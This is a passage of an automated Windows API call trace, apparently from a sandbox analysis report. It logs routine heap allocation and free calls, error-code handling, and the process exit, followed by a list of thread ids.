hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9300 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3ad0 | out: hHeap=0x4ff0000) returned 1 [0064.206] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50e29b8 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb940 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb430 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb8b0 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79bb868 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50d0fb8 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50cc4b8 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c3810 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x509ace0 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7996700 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3cbd0 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3d458 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3dce0 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3e568 | out: hHeap=0x4ff0000) returned 1 [0064.207] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b0a8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3c348 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cb6e0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a42900 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a49520 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1cf18 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1c700 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1bee8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1b6d0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7945fe0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1f7a8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a20808 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a21040 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a21878 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a220b0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a23128 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a228e8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1ffd0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a241b8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a25aa8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a26728 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a23970 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a273a8 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a25240 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a28418 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a27bd0 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a28c60 | out: hHeap=0x4ff0000) returned 1 [0064.208] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a29498 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a24a00 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a29cd0 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2a4f8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2b550 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2c5c0 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2ad20 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2cdf8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2e6c8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2f348 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2bd88 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2d620 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2ffc8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a30800 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a31048 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a2de48 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a41890 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a420c8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a318a8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a32130 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a329b8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a43130 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a441a0 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a33240 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a45a80 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a46700 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a33ac8 | out: hHeap=0x4ff0000) returned 1 [0064.209] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a34350 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a47380 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a45218 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a48400 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a43968 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a449d8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a47bb8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a34bd8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a35460 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a35ce8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a36570 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a37680 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a36df8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4a5c8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4b248 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a37f08 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a38790 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a398a0 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a49d60 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3a128 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3a9b0 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3b238 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a39018 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3bac0 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a48c48 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cbef8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793afd8 | out: hHeap=0x4ff0000) returned 1 [0064.210] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a14de0 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0d0f0 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79c42d8 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cfed0 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d6f08 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6c6d8 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6cf60 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6d7e8 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6e070 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b110 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6be50 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a72428 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a72c40 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a73458 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a73c70 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a74488 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a74ca0 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a754b8 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9620 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3f678 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3ff00 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a40788 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4c000 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4c888 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1d730 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4d110 | out: hHeap=0x4ff0000) returned 1 [0064.211] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4d998 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1df78 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1e7c0 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5bfe8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4e220 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4eaa8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5c850 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5d098 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4f330 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4fbb8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a50440 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a50cc8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a51550 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a51dd8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a52660 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a52ee8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a53770 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a53ff8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5d8e0 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5e148 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a54880 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a55108 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a55990 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5e9b0 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5f1f8 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a56218 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a56aa0 | out: hHeap=0x4ff0000) returned 1 [0064.212] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a57328 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a57bb0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a58438 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a58cc0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a59548 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a59dd0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5a658 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5fa40 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a602a8 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a5aee0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a60b28 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a613b0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a70b10 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a61c38 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a624c0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a62d48 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a635d0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a63e58 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a646e0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a64f68 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a657f0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a66078 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a66900 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a71358 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a71bc0 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a67188 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a67a10 | out: hHeap=0x4ff0000) returned 1 [0064.213] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a68298 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a68b20 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a693a8 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a69c30 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6a4b8 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6ad40 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a6b5c8 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a1aed0 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a0c478 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x793b040 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a19e58 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a3edf0 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79cc710 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a4bec8 | out: hHeap=0x4ff0000) returned 1 [0064.214] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x509d1b0 | out: hHeap=0x4ff0000) returned 1 [0064.215] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x509c9a8 | out: hHeap=0x4ff0000) returned 1 [0064.215] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18d0e4 | out: phModule=0x18d0e4) returned 0 [0064.215] ExitProcess (uExitCode=0x0) [0064.216] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x7a00148 | out: hHeap=0x4ff0000) returned 1 [0064.216] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x509b880 | out: hHeap=0x4ff0000) returned 1 [0064.221] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 37 os_tid = 0x818 Thread: id = 38 os_tid = 0x81c Thread: id = 39 os_tid = 0x820 Thread: id = 40 os_tid = 0x824 Thread: id = 41 os_tid = 0x828 Thread: id = 42 os_tid = 0x82c Thread: id = 43 os_tid = 0x834 Thread: id = 44 os_tid = 0x838 Thread: id = 45 os_tid = 0x83c [0049.464] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x79c6c08 [0049.464] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x7997bf0 [0049.464] GetLastError () returned 0x54f [0049.464] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x3bc) returned 0x79d68c8 [0049.464] GetCurrentThreadId () returned 0x83c [0049.464] SetLastError (dwErrCode=0x54f) [0049.464] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb3a0 [0049.464] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x18) returned 0x79b3cc8 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x79bb3e8 [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a66c0 [0049.465] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79b3cc8 | out: hHeap=0x4ff0000) returned 1 [0049.465] GetLastError () returned 0x54f [0049.465] SetLastError (dwErrCode=0x54f) [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x30) returned 0x79a6880 [0049.465] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x48) returned 0x79e06d8 [0049.465] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79a66c0 | out: 